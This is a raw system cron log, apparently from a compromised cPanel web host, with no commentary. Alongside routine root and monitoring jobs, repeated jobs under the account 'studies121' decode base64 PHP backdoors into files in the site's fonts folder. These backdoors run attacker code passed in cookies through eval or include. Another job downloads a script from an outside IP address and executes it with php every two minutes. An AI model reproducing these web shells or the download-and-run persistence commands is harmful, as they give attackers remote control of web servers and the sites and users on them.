Aug 31 11:15:02 ip-184-168-122-23 CROND[19568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:15:02 ip-184-168-122-23 CROND[19570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:15:02 ip-184-168-122-23 CROND[19573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:16:01 ip-184-168-122-23 CROND[19678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:16:01 ip-184-168-122-23 CROND[19680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:16:01 ip-184-168-122-23 CROND[19681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:16:01 ip-184-168-122-23 CROND[19684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:16:01 ip-184-168-122-23 CROND[19682]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:16:01 ip-184-168-122-23 CROND[19686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:17:01 ip-184-168-122-23 CROND[19790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:17:01 ip-184-168-122-23 CROND[19793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:17:01 ip-184-168-122-23 CROND[19794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:17:01 ip-184-168-122-23 CROND[19792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:18:01 ip-184-168-122-23 CROND[19909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:18:01 ip-184-168-122-23 CROND[19912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:18:01 ip-184-168-122-23 CROND[19914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:18:01 ip-184-168-122-23 CROND[19919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:18:01 ip-184-168-122-23 CROND[19917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:19:01 ip-184-168-122-23 CROND[20096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:19:01 ip-184-168-122-23 CROND[20097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:19:01 ip-184-168-122-23 CROND[20098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:19:01 ip-184-168-122-23 CROND[20100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:20:01 ip-184-168-122-23 CROND[20253]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:20:02 ip-184-168-122-23 CROND[20255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:20:02 ip-184-168-122-23 CROND[20260]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:20:02 ip-184-168-122-23 CROND[20262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:20:02 ip-184-168-122-23 CROND[20258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:20:02 ip-184-168-122-23 CROND[20256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:20:02 ip-184-168-122-23 CROND[20257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:20:02 ip-184-168-122-23 CROND[20259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:20:02 ip-184-168-122-23 CROND[20261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:21:01 ip-184-168-122-23 CROND[20385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:21:01 ip-184-168-122-23 CROND[20386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:21:01 ip-184-168-122-23 CROND[20387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:21:01 ip-184-168-122-23 CROND[20388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:22:01 ip-184-168-122-23 CROND[20470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:22:01 ip-184-168-122-23 CROND[20473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:22:01 ip-184-168-122-23 CROND[20474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:22:01 ip-184-168-122-23 CROND[20472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:22:01 ip-184-168-122-23 CROND[20475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:23:01 ip-184-168-122-23 CROND[20565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:23:01 ip-184-168-122-23 CROND[20567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:23:01 ip-184-168-122-23 CROND[20566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:23:01 ip-184-168-122-23 CROND[20568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:24:01 ip-184-168-122-23 CROND[20674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:24:01 ip-184-168-122-23 CROND[20678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:24:01 ip-184-168-122-23 CROND[20676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:24:01 ip-184-168-122-23 CROND[20677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:24:01 ip-184-168-122-23 CROND[20679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:25:01 ip-184-168-122-23 CROND[20888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:25:01 ip-184-168-122-23 CROND[20891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:25:01 ip-184-168-122-23 CROND[20890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:25:01 ip-184-168-122-23 CROND[20892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:25:01 ip-184-168-122-23 CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:25:01 ip-184-168-122-23 CROND[20893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:26:01 ip-184-168-122-23 CROND[21029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:26:01 ip-184-168-122-23 CROND[21027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:26:01 ip-184-168-122-23 CROND[21028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:26:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:26:01 ip-184-168-122-23 CROND[21031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:27:01 ip-184-168-122-23 CROND[21135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:27:01 ip-184-168-122-23 CROND[21137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:27:01 ip-184-168-122-23 CROND[21136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
